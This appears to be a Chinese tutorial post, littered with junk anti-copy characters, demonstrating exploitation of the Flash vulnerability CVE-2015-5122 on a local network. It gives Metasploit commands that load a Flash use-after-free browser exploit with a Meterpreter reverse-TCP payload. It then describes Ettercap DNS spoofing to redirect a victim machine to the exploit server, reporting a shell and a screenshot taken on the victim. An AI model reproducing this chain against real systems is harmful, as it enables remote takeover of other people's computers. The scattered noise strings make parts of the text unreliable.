cve2015-5122漏洞实例演示虚拟机

admin

二、cve2015-5122漏洞实例演示虚拟机 ; u- |- S# U! j+ N' z8 P

1 t- B# k- U4 n

  关于cve2015-5122这个漏洞，大家可以百度一下，是关于flash的漏洞，是2015年flash漏洞的第二发，今天我们就用这个漏洞来演示，开启kai linux msfconsole命令启动msf如图：

' x% {4 j8 ^/ r+ A% X- ~& E$ m

search cve-2015-5122如图：

0 h+ S/ B' O6 l7 O* k: B8 _4 W# `& W8 u

 

6 h& r8 z; U; c# d/ g

下面我们敲如下命令：

& F( S$ B. X/ C5 z

use exploit/multi/browser/adobe_flash_opaque_background_uaf / N. z" j% i' x9 e" Q; M5 s! V9 j

( _" x& S5 ?) |+ g1 s7 _ set PAYLOAD windows/meterpreter/reverse_tcp / T3 y3 G# x$ U# r" c

set LHOST 192.168.0.109

& B( {4 l# T$ y+ }1 p& \$ ] V. d3 }

set URIPATH /                        /*根目录*/ 7 }" c! |) [" M: W

: e& j d* m% c( ]6 `

set SRVHOST 192.168.0.109  //192.168.0.109为kaili ip地址 B' _4 ~. a; e4 e1 H- w# c

# F3 [3 h5 P5 v9 ~/ W

, h4 a# M I& S0 l0 y set SRVPORT 80            /*80端口*/ 使用80端口时要保证apache为停止状态用service apache2 stop命令停止否则会提示端口被占用

然后show options如图： / `( _! \4 N' L6 m

0 G( {4 ^, o4 E# u( o8 Q  

0 j V g9 p% M( [; }, H, O" t

一切都设置好了，执行exploit。下面我们进etc/ettercap目录下设置etc.dns如图：

然后ettercap -G命令打开ettercap，我们要攻击的主机ip是192.168.0。115

; l7 O* X! Q, J9 \8 ?2 R

Ettercap过程第一篇里已经演示，这里不在详细写了。。。执行完ettercap以后我们观察一下msf . M& v" N( v- C0 |

' M9 e' k) a" [$ G9 b. K. ~: R1 n% X   7 w% ]6 Y7 A0 c% Y; N' ~) L/ J

4 _# O3 m7 B9 L5 G, Q/ p& c: p: @ 成功了，这时候我们断开ettercap，如图： . @- D9 ~6 |3 k4 v5 k

  # s/ k. ~! h$ v! y' c

2 j# z$ ~/ r7 ~2 F1 P6 S- e2 M4 ? Screenshot如图： 8 q. S- e: C/ q' J

5 Y/ `$ w6 [6 ?

  . e, G9 \. ~5 P( `+ e

1 f8 B) Q7 r% V& d

, H" x, Y1 r6 r8 I